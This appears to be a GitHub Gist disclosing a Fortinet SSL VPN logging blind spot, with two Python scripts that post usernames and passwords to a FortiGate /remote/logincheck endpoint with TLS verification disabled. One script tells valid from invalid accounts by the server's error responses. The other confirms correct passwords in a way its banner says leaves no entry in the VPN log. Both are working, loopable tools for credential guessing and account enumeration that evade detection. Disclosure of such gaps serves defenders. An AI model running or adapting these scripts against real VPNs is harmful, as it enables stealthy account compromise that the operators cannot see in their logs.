Last active
November 27, 2024 05:29
-
-
Save PeterV-Pent/7f47fbf2cf1bd70a6cff4304cc98c294 to your computer and use it in GitHub Desktop.
Fortinet VPN Logging Blindspot
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import requests | |
import warnings | |
import urllib3 | |
import re | |
# Suppress only the InsecureRequestWarning | |
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) | |
def display_banner(): | |
print("***************************************************************") | |
print("* *") | |
print("* This tool is intended for cybersecurity research and *") | |
print("* educational purposes. Ensure compliance with all relevant *") | |
print("* legal and ethical guidelines when using this tool. *") | |
print("* *") | |
print("* This tool's purpose is to demonstrate how a successful *") | |
print("* authentication request will not get logged as part of *") | |
print("* Fortinet's VPN server's log. *") | |
print("* *") | |
print("***************************************************************") | |
print("\n") | |
def get_server_details(): | |
cname_or_ip = input("Enter CNAME or IP: ") | |
port = input("Enter Port: ") | |
return { | |
"cname_or_ip": cname_or_ip, | |
"port": port | |
} | |
def get_connection_details(): | |
username = input("Enter Username: ") | |
password = input("Enter Password: ") | |
return { | |
"username": username, | |
"password": password | |
} | |
def main(): | |
display_banner() | |
#get server details | |
server_details = get_server_details() | |
while True: | |
#get connection details | |
connection_details = get_connection_details() | |
# Define the VPN server URL | |
url = f"https://{server_details['cname_or_ip']}:{server_details['port']}/remote/logincheck" | |
# Define the headers | |
headers = { | |
"User-Agent": "Mozilla/5.0 SV1", | |
"X-Pad": "0000000000000000000000000", | |
"Content-Type": "application/x-www-form-urlencoded", | |
"Content-Length": "103", | |
"Connection": "keep-alive" | |
} | |
i = 0 | |
n = 0 | |
count = 0 | |
failed_attempts = 0 | |
# Define the payload (data) | |
payload = { | |
"username": connection_details['username'], | |
"credential": connection_details['password'], | |
"realm": "", | |
"ajax": "1", | |
"just_logged_in":"1" | |
} | |
# Send the POST request with SSL verification disabled | |
try: | |
response = requests.post(url, headers=headers, data=payload, verify=False) | |
if response.status_code == 200: | |
match = re.search(r'<!--\s*sslvpnerrmsg\s*=\s*Too many bad login attempts\. Please try again in a few minutes\.\s*-->', response.text, re.IGNORECASE | re.DOTALL) | |
if match or "Too many bad login attempts" in response.text: | |
print("Too many bad login attempts") | |
else: | |
# Check for "Permission denied" | |
match = re.search(r'<!--\s*sslvpnerrmsg\s*=\s*Permission denied\.\s*-->', response.text, re.IGNORECASE | re.DOTALL) | |
if match or "Permission denied" in response.text: | |
print("Invalid user") | |
else: | |
print(f"Failed to read the response. Status code: {response.status_code}") | |
print("Response:", response.text) | |
if response.status_code == 401: | |
match = re.search(r'<INPUT TYPE="hidden" NAME="magic" VALUE="([^"]+)"', response.text) | |
if match: | |
print ("Valid user - need to eneter the OTP") | |
else: | |
print(f"Failed to send request. Status code: {response.status_code}") | |
print("Response:", response.text) | |
except requests.exceptions.RequestException as e: | |
print(f"An error occurred: {e}") | |
print("_________________________________________________________________") | |
if __name__ == "__main__": | |
main() |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import requests | |
import warnings | |
import urllib3 | |
# Suppress only the InsecureRequestWarning | |
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) | |
def display_banner(): | |
print("***************************************************************") | |
print("* *") | |
print("* This tool is intended for cybersecurity research and *") | |
print("* educational purposes. Ensure compliance with all relevant *") | |
print("* legal and ethical guidelines when using this tool. *") | |
print("* *") | |
print("* This tool's purpose is to demonstrate how a successful *") | |
print("* authentication request will not get logged as part of *") | |
print("* Fortinet's VPN server's log. *") | |
print("* *") | |
print("***************************************************************") | |
print("\n") | |
def get_connection_details(): | |
cname_or_ip = input("Enter CNAME or IP: ") | |
port = input("Enter Port: ") | |
username = input("Enter Username: ") | |
password = input("Enter Password: ") | |
return { | |
"cname_or_ip": cname_or_ip, | |
"port": port, | |
"username": username, | |
"password": password | |
} | |
def send_request(url, headers, payload): | |
try: | |
response = requests.post(url, headers=headers, data=payload, verify=False) | |
return response | |
except requests.exceptions.RequestException as e: | |
print(f"An error occurred: {e}") | |
return None | |
def analyze_response(response): | |
if response and response.status_code == 200: | |
print("Request sent successfully") | |
print("Response:", response.text) | |
if "ret=1" in response.text: | |
print("Successful Login!") | |
elif "ret=0" in response.text: | |
print("Failed Login!") | |
else: | |
print("Unexpected response format") | |
else: | |
print(f"Failed to send request. Status code: {response.status_code if response else 'No Response'}") | |
def main(): | |
display_banner() | |
while True: | |
# Get connection details | |
connection_details = get_connection_details() | |
# Define the VPN server URL | |
url = f"https://{connection_details['cname_or_ip']}:{connection_details['port']}/remote/logincheck" | |
# Define the headers | |
headers = { | |
"User-Agent": "Mozilla/5.0", | |
"X-Pad": "000000000000000000000000000000000000000000000000000000000000", | |
"Content-Type": "application/x-www-form-urlencoded", | |
"Connection": "keep-alive" | |
} | |
# Define the payload (data) | |
payload = { | |
"username": connection_details['username'], | |
"credential": connection_details['password'], | |
"realm": "", | |
"ajax": "1" | |
} | |
# Send the POST request | |
response = send_request(url, headers, payload) | |
# Analyze the response | |
analyze_response(response) | |
print("_________________________________________________________________") | |
if __name__ == "__main__": | |
main() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment